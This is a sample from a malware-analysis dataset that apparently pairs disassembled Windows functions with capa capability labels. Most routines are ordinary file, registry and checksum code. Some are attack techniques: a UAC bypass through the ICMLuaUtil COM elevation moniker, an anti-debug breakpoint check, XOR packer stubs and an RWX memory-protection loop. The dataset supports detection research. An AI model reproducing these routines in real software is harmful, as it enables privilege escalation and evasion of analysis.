joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40300a
Capabilities:
Check for time delay via gettickcount
Write file on windows

Disassembly:
push ecx
push ecx
push ebx
push ebp
push esi
xor ebp, ebp
push edi
mov dword [esp + 0x10], ebp
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, dword [0x79e52c]
mov edi, eax
sub esi, dword [0x413c1c]
add edi, 0x1f4
add esi, dword [esp + 0x1c]
cmp esi, ebp
jle 0x4031e0
push dword [0x7a653c]
call fcn.0040321d
push ebp
push ebp
push dword [0x413c1c]
push dword [0x409018]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [0x7a6538], esi
mov dword [0x79e528], ebp
mov eax, dword [0x79e530]
mov ebx, 0x4000
sub eax, dword [0x7a653c]
cmp eax, ebx
jg 0x40307d
mov ebx, eax
mov esi, 0x79a4e8
push ebx
push esi
call fcn.004031eb
test eax, eax
je 0x4031ab
add dword [0x7a653c], ebx
mov dword [0x413c20], esi
mov dword [0x413c24], ebx
cmp dword [0x7c578c], ebp
je 0x40310e
cmp dword [0x7c5820], ebp
jne 0x40310e
cmp dword [esp + 0x10], ebp
je 0x4030db
mov eax, dword [0x7a6538]
push ebp
sub eax, dword [0x79e52c]
sub eax, dword [esp + 0x20]
add eax, dword [0x413c1c]
mov dword [0x79e528], eax
call fcn.00405dd0
jmp 0x40310e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, edi
jbe 0x40310e
mov eax, dword [0x7c5788]
neg eax
sbb eax, eax
not eax
and eax, str.unpacking_data:__d__
push eax
push 0x402b35
push ebp
push 0x6f
push dword [0x7c5780]
call dword [sym.imp.USER32.dll_CreateDialogParamA]
mov dword [esp + 0x10], eax
push 0x413c20
mov dword [0x413c28], 0x7924e8
mov dword [0x413c2c], 0x8000
call fcn.00405e71
test eax, eax
jl 0x4031b4
mov esi, dword [0x413c28]
mov eax, 0x7924e8
sub esi, eax
je 0x403175
lea ecx, [esp + 0x14]
push ebp
push ecx
push esi
push eax
push dword [0x409018]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4031b0
cmp esi, dword [esp + 0x14]
jne 0x4031b0
add dword [0x413c1c], esi
cmp dword [0x413c24], ebp
jne 0x4030a3
jmp 0x403181
cmp dword [0x413c24], ebp
jne 0x4031b4
cmp ebx, ebp
je 0x4031b4
mov eax, dword [0x79e52c]
mov ecx, eax
sub ecx, dword [0x413c1c]
add ecx, dword [esp + 0x1c]
test ecx, ecx
jg 0x403067
push ebp
push ebp
push eax
push dword [0x409018]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x4031b9
or eax, 0xffffffff
jmp 0x4031e2
push 0xfffffffffffffffe
jmp 0x4031b6
push 0xfffffffffffffffd
pop eax
jmp 0x4031e2
mov esi, dword [esp + 0x10]
cmp esi, ebp
je 0x4031e0
mov eax, dword [0x7a6538]
push ebp
push ebp
push 0x113
push esi
mov dword [0x79e528], eax
call dword [sym.imp.USER32.dll_SendMessageA]
push esi
call dword [sym.imp.USER32.dll_DestroyWindow]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret 4
Function at 0x4052e6
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
mov dword [0x7bcd90], 0x44
push eax
xor eax, eax
push 0x7bcd90
push eax
push eax
push eax
push eax
push eax
push eax
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x405321
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x4053ab
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
push ebx
mov ebx, dword [ebp + 8]
push esi
push ebx
call fcn.0040564d
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], eax
test cl, 8
je 0x4053e1
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
neg eax
sbb eax, eax
inc eax
add dword [0x7c5808], eax
jmp 0x405566
mov dword [ebp + 8], ecx
push edi
and dword [ebp + 8], 1
je 0x4053fc
test eax, eax
je 0x405511
test cl, 2
je 0x405511
mov esi, 0x7b8590
push ebx
push esi
call fcn.00405a79
cmp dword [ebp + 8], 0
je 0x40541b
push str..
push esi
call sub.KERNEL32.dll_lstrcatA
jmp 0x405421
push ebx
call fcn.004055b3
push 0x409010
push ebx
call sub.KERNEL32.dll_lstrcatA
push ebx
call sub.KERNEL32.dll_lstrlenA
mov edi, eax
lea eax, [ebp - 0x148]
push eax
push esi
add edi, ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x405507
lea eax, [ebp - 0x11c]
push 0x3f
push eax
lea esi, [ebp - 0x11c]
call fcn.00405597
cmp byte [eax], 0
je 0x405472
cmp byte [ebp - 0x18], 0
je 0x405472
lea esi, [ebp - 0x18]
cmp byte [esi], 0x2e
jne 0x405488
mov al, byte [esi + 1]
test al, al
je 0x4054e6
cmp al, 0x2e
jne 0x405488
cmp byte [esi + 2], 0
je 0x4054e6
push esi
push edi
call fcn.00405a79
test byte [ebp - 0x148], 0x10
je 0x4054ad
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x4054e6
push dword [ebp + 0xc]
push ebx
call fcn.004053ab
jmp 0x4054e6
push ebx
call fcn.00405731
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4054de
test byte [ebp + 0xc], 4
je 0x4054d6
push ebx
push 0xfffffffffffffff1
call fcn.00404e24
push 0
push ebx
call fcn.004057c7
jmp 0x4054e6
inc dword [0x7c5808]
jmp 0x4054e6
push ebx
push 0xfffffffffffffff2
call fcn.00404e24
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x405450
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 8], 0
je 0x405511
and byte [edi - 1], 0
xor esi, esi
pop edi
cmp dword [ebp + 8], esi
je 0x405566
cmp dword [ebp - 8], esi
jne 0x405526
inc dword [0x7c5808]
jmp 0x405566
push ebx
call fcn.00405d70
test eax, eax
je 0x405566
push ebx
call fcn.0040556c
push ebx
call fcn.00405731
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x40555e
test byte [ebp + 0xc], 4
je 0x40551e
push ebx
push 0xfffffffffffffff1
call fcn.00404e24
push esi
push ebx
call fcn.004057c7
jmp 0x405566
push ebx
push 0xffffffffffffffe5
call fcn.00404e24
pop esi
pop ebx
leave
ret 8
Function at 0x40564d
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x7ba590
push esi
call fcn.00405a79
push esi
call fcn.00405600
mov edi, eax
test edi, edi
jne 0x40566e
xor eax, eax
jmp 0x4056c0
push edi
call fcn.00405cd7
test byte [0x7c5794], 0x80
je 0x405687
mov al, byte [edi]
test al, al
je 0x40566a
cmp al, 0x5c
je 0x40566a
sub edi, esi
jmp 0x40569f
call fcn.00405d70
test eax, eax
je 0x405699
test byte [eax], 0x10
je 0x40566a
push esi
call fcn.004055b3
push esi
call sub.KERNEL32.dll_lstrlenA
cmp eax, edi
push esi
jg 0x40568b
call fcn.0040556c
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x405731
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40574d
and al, 0xfe
push eax
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
ret 4

Function at 0x405750
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
ret 0xc

Function at 0x40577f
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
dec edi
mov dword [ebp + 8], 0x61736e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
xor edx, edx
pop ecx
div ecx
push esi
lea eax, [ebp + 8]
push 0
push eax
push dword [ebp + 0xc]
add byte [ebp + 0xa], dl
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x4057c3
test edi, edi
jne 0x40578a
and byte [esi], 0
pop edi
pop esi
pop ebp
ret 8
mov eax, esi
jmp 0x4057bd
Function at 0x4057c7
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebx
push ebp
push esi
push edi
push 1
call fcn.00405d97
test eax, eax
mov esi, dword [esp + 0x18]
je 0x4057eb
push 5
push esi
push dword [esp + 0x1c]
call eax
test eax, eax
jne 0x405924
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov dword [0x7bcf18], 0x4c554e
test esi, esi
mov edi, 0x400
mov ebp, 0x7bcf18
je 0x40582f
push 1
push 0
push esi
call fcn.00405750
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push ebp
push esi
call ebx
test eax, eax
je 0x40592a
cmp eax, edi
jg 0x40592a
mov esi, 0x7bc990
push edi
push esi
push dword [esp + 0x1c]
call ebx
test eax, eax
je 0x40592a
cmp eax, edi
jg 0x40592a
push esi
push ebp
push str._s_s_r_n
push 0x7bc590
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebx, eax
mov eax, dword [0x7c578c]
add esp, 0x10
push dword [eax + 0x128]
push esi
call fcn.00405a9b
push 4
push 0xc0000000
push esi
call fcn.00405750
mov ebp, eax
cmp ebp, 0xffffffff
mov dword [esp + 0x14], ebp
je 0x405924
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x40591d
lea eax, [esp + 0x18]
push 0
push eax
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40591d
cmp edi, dword [esp + 0x18]
jne 0x40591d
push str._Rename__r_n
push esi
call fcn.004056c5
test eax, eax
jne 0x405931
lea eax, [esi + edi]
push str._Rename__r_n
push eax
call fcn.00405a79
add edi, 0xa
mov eax, edi
push ebx
add eax, esi
push 0x7bc590
push eax
call fcn.00405711
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [esp + 0x18]
push 0
add edi, ebx
push eax
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [0x7c5810]
pop edi
pop esi
pop ebp
pop ebx
ret 8
add eax, 0xa
push 0x4093b8
push eax
call fcn.004056c5
test eax, eax
je 0x4058e8
inc eax
lea ecx, [esi + edi]
cmp eax, ecx
mov ebp, eax
jae 0x405958
mov dl, byte [ebp]
mov byte [ebx + ebp], dl
inc ebp
cmp ebp, ecx
jb 0x40594d
mov ebp, dword [esp + 0x14]
sub eax, esi
jmp 0x4058ea
Function at 0x405960
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
lea eax, [ebp + 0x18]
push esi
push eax
mov eax, dword [ebp + 0x18]
xor ebx, ebx
neg eax
sbb eax, eax
mov esi, dword [ebp + 0x14]
and eax, 0x100
or eax, 0x20019
mov byte [esi], bl
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4059d1
lea eax, [ebp + 0xc]
mov dword [ebp + 0xc], 0x2000
push eax
lea eax, [ebp + 0x14]
push esi
push eax
push ebx
push dword [ebp + 0x10]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4059c0
cmp dword [ebp + 0x14], 1
je 0x4059c2
cmp dword [ebp + 0x14], 2
je 0x4059c2
mov byte [esi], bl
push dword [ebp + 0x18]
mov byte [esi + 0x1fff], bl
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
pop ebp
ret 0x14
Function at 0x405e03
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x7bd31c], 0
push esi
jne 0x405e3a
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405e14
mov dword [ecx*4 + 0x7bd318], eax
inc ecx
cmp ecx, 0x100
jl 0x405e0f
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405e6b
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x7bd318]
xor eax, esi
inc ecx
dec edx
jne 0x405e4d
pop edi
not eax
pop esi
ret 0xc
Function at 0x10001000
Capabilities:
Bypass uac via icmluautil

Disassembly:
sub esp, 0x45c
mov eax, dword [0x10004004]
xor eax, esp
mov dword [esp + 0x458], eax
push esi
mov esi, dword [esp + 0x464]
lea eax, [esp + 0x2c]
xorps xmm0, xmm0
mov dword [esp + 4], 0
push eax
push str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
movups xmmword [esp + 0x34], xmm0
movups xmmword [esp + 0x44], xmm0
call dword [sym.imp.ole32.dll_CLSIDFromString]
lea eax, [esp + 0x3c]
push eax
push str.6EDD6D74_C007_4E75_B76A_E5740995E24C
call dword [sym.imp.ole32.dll_IIDFromString]
push 0x208
lea eax, [esp + 0x50]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x208
lea eax, [esp + 0x264]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x18
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
push 0x104
lea eax, [esp + 0x50]
push eax
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.ole32.dll_StringFromGUID2]
lea eax, [esp + 0x4c]
push eax
push str.Elevation:Administrator_new:_s
lea eax, [esp + 0x25c]
push 0x104
push eax
call fcn.10001170
add esp, 0x10
test eax, eax
js 0x1000114f
lea eax, [esp + 4]
mov dword [esp + 8], 0x24
push eax
lea eax, [esp + 0x40]
mov dword [esp + 0x2c], 0
push eax
lea eax, [esp + 0x10]
mov dword [esp + 0x24], 4
push eax
xorps xmm0, xmm0
lea eax, [esp + 0x260]
push eax
movlpd qword [esp + 0x1c], xmm0
movlpd qword [esp + 0x24], xmm0
movlpd qword [esp + 0x30], xmm0
call dword [sym.imp.ole32.dll_CoGetObject]
test eax, eax
js 0x1000114f
mov eax, dword [esp + 4]
push 5
push 0
push 0
mov ecx, dword [eax]
push 0
push esi
push eax
mov eax, dword [ecx + 0x24]
call eax
test eax, eax
js 0x1000114f
mov ecx, dword [esp + 4]
test ecx, ecx
je 0x10001134
mov eax, dword [ecx]
push ecx
mov eax, dword [eax + 8]
call eax
mov eax, 1
pop esi
mov ecx, dword [esp + 0x458]
xor ecx, esp
call fcn.100013cd
add esp, 0x45c
ret
mov ecx, dword [esp + 0x45c]
xor eax, eax
pop esi
xor ecx, esp
call fcn.100013cd
add esp, 0x45c
ret

Function at 0x4014e6
Capabilities:
Check for software breakpoints

Disassembly:
mov ecx, dword [esp + 4]
push 0xfffffffffffffffb
pop eax
mov dl, byte [eax + ecx]
cmp dl, 0x90
je 0x4014fa
cmp dl, 0xcc
jne 0x401544
inc eax
cmp eax, 0xffffffff
jle 0x4014ed
mov al, byte [ecx]
cmp al, 0x8b
je 0x40150a
cmp al, 0x89
jne 0x401544
cmp byte [ecx + 1], 0xff
jne 0x401544
mov eax, 0x40189c
mov byte [ecx - 5], 0xe9
sub eax, ecx
mov dword [ecx - 4], eax
lea eax, [ecx + 2]
mov dword [0x436a10], eax
mov eax, 0xf9eb
push 0
push 0
mov word [ecx], ax
call dword [0x42a014]
push eax
call dword [0x42a034]
mov al, 1
ret 0xc
xor al, al
jmp 0x401541
Function at 0x4097ac
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409860
jmp 0x409855
cmp dword [esi + 0x10], 0x1000
jne 0x409841
test byte [esi + 0x15], 1
jne 0x409841
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409800
cmp eax, 2
je 0x409800
cmp eax, 0x10
je 0x409800
cmp eax, 0x20
jne 0x409815
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409815
mov bl, 1
xor ebp, ebp
jmp 0x409826
mov eax, dword [esi]
add eax, ebp
call fcn.004097a4
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409819
test bl, bl
je 0x409841
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409860
mov eax, dword [esi + 4]
cmp eax, edi
je 0x4097d8
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x42e004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
mov ebx, 0x407ef8
nop
mov ecx, 0x6af9643d
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e024
mov eax, section..data
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, 0x63534478
nop
nop
nop
test eax, eax
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
mov ecx, 0x63ac23cb
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x431024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x76417d2a
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x431084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x100090f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, ecx
mov dword [ebp - 4], edx
push ebx
push esi
xor esi, esi
mov dword [ebp - 8], eax
mov ebx, dword [eax + 0xc]
push edi
test ebx, ebx
je 0x10009147
mov al, byte [edx]
mov edi, edx
test al, al
je 0x10009130
movzx eax, al
lea edi, [edi + 1]
movzx ecx, byte [eax + 0x100f97d0]
lea eax, [esi*8]
xor ecx, eax
mov al, byte [edi]
xor esi, ecx
test al, al
jne 0x10009112
mov ecx, dword [ebp - 8]
mov eax, esi
xor edx, edx
div dword [ecx]
mov esi, edx
mov edx, dword [ebp - 4]
mov edi, dword [ebx + esi*8 + 4]
mov ecx, dword [ebx + esi*8]
jmp 0x1000914d
mov edi, dword [eax + 8]
mov ecx, dword [eax + 4]
mov eax, dword [ebp + 8]
mov dword [eax], esi
test ecx, ecx
je 0x100091ad
mov esi, dword [edi + 0xc]
dec ecx
mov dword [ebp + 8], ecx
mov bl, byte [esi]
test bl, bl
je 0x10009189
sub esi, dword [ebp - 4]
mov al, bl
movzx ecx, byte [edx]
mov bl, al
movzx eax, al
mov al, byte [eax + 0x100f97d0]
cmp al, byte [ecx + 0x100f97d0]
jne 0x10009189
mov al, byte [esi + edx + 1]
inc edx
mov bl, al
test al, al
jne 0x10009168
movzx eax, byte [edx]
movzx ecx, byte [eax + 0x100f97d0]
movzx eax, bl
movzx eax, byte [eax + 0x100f97d0]
sub eax, ecx
je 0x100091b6
mov ecx, dword [ebp + 8]
mov edi, dword [edi]
mov edx, dword [ebp - 4]
test ecx, ecx
jne 0x10009156
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001e550
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
mov dword [esp + 0x18], ebx
cmp edx, dword [ebx + 0x2c]
jbe 0x1001e58c
push 0x100f7b6c
push 0xe96c
push str.database_corruption_at_line__d_of___.10s_
push 0xb
call fcn.100071a0
add esp, 0x10
mov eax, 0xb
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x14]
push 0
push eax
call fcn.100174f0
add esp, 8
test eax, eax
jne 0x1001e718
mov esi, dword [esp + 0x14]
xor ecx, ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], ecx
movzx eax, word [esi + 0x12]
movzx edi, byte [esi + 6]
mov edx, eax
mov dword [esp + 0x1c], edi
cmp cx, ax
jae 0x1001e661
nop dword [eax + eax]
mov eax, dword [esi + 0x40]
movzx edi, byte [eax + ecx*2 + 1]
movzx eax, byte [eax + ecx*2]
shl eax, 8
or edi, eax
movzx eax, word [esi + 0x14]
and edi, eax
add edi, dword [esi + 0x38]
cmp byte [esi + 5], 0
jne 0x1001e627
movzx edx, byte [edi]
mov ecx, ebx
movzx eax, byte [edi + 1]
push dword [ebp + 0xc]
shl edx, 8
or edx, eax
movzx eax, byte [edi + 2]
shl edx, 8
or edx, eax
movzx eax, byte [edi + 3]
shl edx, 8
or edx, eax
push 1
call fcn.1001e550
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x1001e70e
lea eax, [esp + 0x10]
mov edx, edi
push eax
mov ecx, esi
call fcn.1001be60
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x1001e70e
mov ecx, dword [esp + 0x14]
movzx eax, word [esi + 0x12]
inc ecx
mov ebx, dword [esp + 0x18]
mov edx, eax
mov dword [esp + 0x14], ecx
cmp ecx, eax
jl 0x1001e5d0
mov edi, dword [esp + 0x1c]
cmp byte [esi + 5], 0
movzx eax, dx
jne 0x1001e6a5
mov ecx, dword [esi + 0x38]
push dword [ebp + 0xc]
add ecx, edi
push 1
movzx edx, byte [ecx + 8]
movzx eax, byte [ecx + 9]
shl edx, 8
or edx, eax
movzx eax, byte [ecx + 0xa]
shl edx, 8
or edx, eax
movzx eax, byte [ecx + 0xb]
shl edx, 8
mov ecx, ebx
or edx, eax
call fcn.1001e550
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x1001e70e
jmp 0x1001e6ae
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x1001e6ae
add dword [ecx], eax
cmp dword [ebp + 8], 0
je 0x1001e6d7
push dword [esi + 0x48]
mov ecx, dword [esi + 0x34]
mov edx, esi
call fcn.1001b9f0
mov ecx, dword [esi + 0x44]
add esp, 4
mov ebx, eax
call fcn.10012590
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + 0x44]
mov edx, dword [ecx + 0x10]
mov eax, dword [edx + 0x94]
cmp eax, dword [edx + 0x98]
jbe 0x1001e6f2
call fcn.10012c80
jmp 0x1001e6f7
call fcn.10012970
mov ebx, eax
test ebx, ebx
jne 0x1001e70e
mov eax, dword [esi + 0x38]
mov ecx, esi
movzx edx, byte [eax + edi]
or edx, 8
call fcn.10017410
mov ecx, dword [esi + 0x44]
call fcn.10012590
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10031540
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 4], edx
push 0
push 0x14
mov dword [ebx], 0
call fcn.10004a30
mov esi, eax
add esp, 8
test esi, esi
jne 0x10031570
lea eax, [esi + 7]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp dword [0x10102bec], 0
mov edi, dword [ebp + 8]
je 0x100315a3
mov eax, dword [ebp - 4]
mov dword [esi + 8], eax
lea eax, [esi + 4]
push eax
push 0
push esi
push 0x100073e0
push 0
push 0
mov dword [esi + 0xc], edi
call fcn.100c4e07
add esp, 0x18
mov dword [esi], eax
test eax, eax
jne 0x100315b0
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
cmp dword [esi + 8], 0
jne 0x100315c9
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push edi
mov dword [esi + 4], eax
call dword [ebp - 4]
add esp, 4
mov dword [esi + 0x10], eax
pop edi
mov dword [ebx], esi
xor eax, eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret